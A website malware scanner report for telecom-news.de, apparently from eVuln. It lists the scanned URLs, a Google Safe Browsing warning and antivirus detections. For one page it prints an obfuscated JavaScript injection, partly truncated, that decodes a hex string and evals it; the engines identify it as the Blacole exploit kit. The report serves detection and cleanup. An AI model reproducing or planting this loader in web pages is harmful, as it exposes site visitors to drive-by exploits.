New scan:

Malware Scanner report for telecom-news.de

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "telecom-news.de" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=telecom-news.de

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://telecom-news.de/
200 OK
Content-Length: 300584
Content-Type: text/html
clean
http://telecom-news.de/TKNBest.htm
200 OK
Content-Length: 59334
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

euqgyr="s"+"p"+"li"+"t";gjzrul=window;tvz="dy";ehlf=document;weuyot="0x";eiot=(5-3-1);try{++(ehlf.body)}catch(hplymd){iurfrv=false;try{}catch(ygzlcb){iurfrv=21;}
if(1){reyot="0:0:60:5d:17:1f:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:6a:39:70:4b:58:5e:45:58:64:5c:1f:1e:59:66:5b:70:1e:20:52:27:54:20:72:4:0:0:0:60:5d:69:58:64:5c:69:1f:20:32:4:0:0:74:17:5c:63:6a:5c:17:72:4:0:0:0:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:19:33:60:5d:69:58:64:5c:17:6a:69:5a:34:1e:5f:6b:6b:67:31:
... 1127 bytes are skipped ...
1e:28:27:27:1e:20:32:5d:25:6a:5c:6b:38:6b:6b:69:60:59:6c:6b:5c:1f:1e:5f:5c:60:5e:5f:6b:1e:23:1e:28:27:27:1e:20:32:4:0:0:0:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:6a:39:70:4b:58:5e:45:58:64:5c:1f:1e:59:66:5b:70:1e:20:52:27:54:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:5d:20:32:4:0:0:74"[euqgyr](":");}gjzrul=reyot;kgfgyb=[];for(snxno=22-20-2;-snxno+592!=0;snxno+=1){wctnvs=snxno;if((0x19==031))kgfgyb+=String["fromCharCode"](eval(weuyot+gjzrul[1*wctnvs])+0xa-eiot);}lyp=eval;lyp(kgfgyb)}

Antivirus reports:

AntiVir
EXP/JS.Expack.GR
Avast
JS:Decode-BHS [Trj]
Ad-Aware
JS:Exploit.JS.Blacole.Z
Bkav
MW.Clodbcf.Trojan.3925
Antiy-AVL
Exploit/JS.Pdfka
Ikarus
Exploit.JS.CVE-2010-0806
nProtect
JS:Exploit.JS.Blacole.Z
TrendMicro-HouseCall
TROJ_GEN.F47V1102
Comodo
Exploit.JS.Expack.G
Emsisoft
JS:Exploit.JS.Blacole.Z (B)
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Infected.A
DrWeb
Exploit.BlackHole.12
Microsoft
Exploit:JS/Blacole.NX
Kaspersky
Exploit.JS.Pdfka.gkj
MicroWorld-eScan
JS:Exploit.JS.Blacole.Z
Fortinet
JS/Kryptik.AOG!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.cgxcgz
F-Secure
JS:Exploit.JS.Blacole.Z
AVG
Script/Exploit.Kit
Norman
Kryptik.CCLX
GData
JS:Exploit.JS.Blacole.Z
ESET-NOD32
JS/Kryptik.AOG
BitDefender
JS:Exploit.JS.Blacole.Z

http://telecom-news.de/../Internet%20unterversorgte%20Gemeinden.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/test404page.js
404 Not Found
Content-Length: 103
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/SOMO_High_Cost_of_Calling_nov_2006_EN.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/GESCHÄFTSBERICHTE/Sistema%201H%202007%20Results%20eng%20FINAL.pdf
404 Not Found
Content-Length: 103
Content-Type: text/html
clean
http://telecom-news.de/../../Schlagzeilen/sie%20500%20Grösten%20weltweit%20Telekommunikation%20allgemein.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../../Schlagzeilen/Top%20500%20eoropa%20Telecom.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/Kopie%20von%20Die%20Zukunft%20von%20Mobile%20Voice.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/GESCHÄFTSBERICHTE/Mobilcom3.Quartal%202006.pdf
404 Not Found
Content-Length: 103
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/Studie%20Handy-TV%20-%20Faktoren%20einer%20erfolgreichen%20Markteinführung.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/Business%20Intelligence%20for%20the%20Telecommunications%20Industry.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/Magic%20Quadrant%20for%20Corporate%20Telephony%20in%20EMEA.doc
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/CHIP%20Xonio%20Mobilfunkauswertung%202005_ext.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean
http://telecom-news.de/../Studien%20und%20weitere%20interessante%20Informationen/Cellphones%20don't%20destroy%20petrol%20stations%20-%20report.pdf
403 Forbidden
Content-Length: 312
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: telecom-news.de

Result:
HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 13:04:51 GMT
Accept-Ranges: bytes
ETag: "7f50d51bd728d01:0"
Server: Microsoft-IIS/8.5
Content-Length: 816444
Content-Type: text/html
Last-Modified: Mon, 05 Jan 2015 11:02:34 GMT
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin

...816444 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: telecom-news.de
Referer: http://www.google.com/search?q=telecom-news.de

Result:
The result is similar to the first query. There are no suspicious redirects found.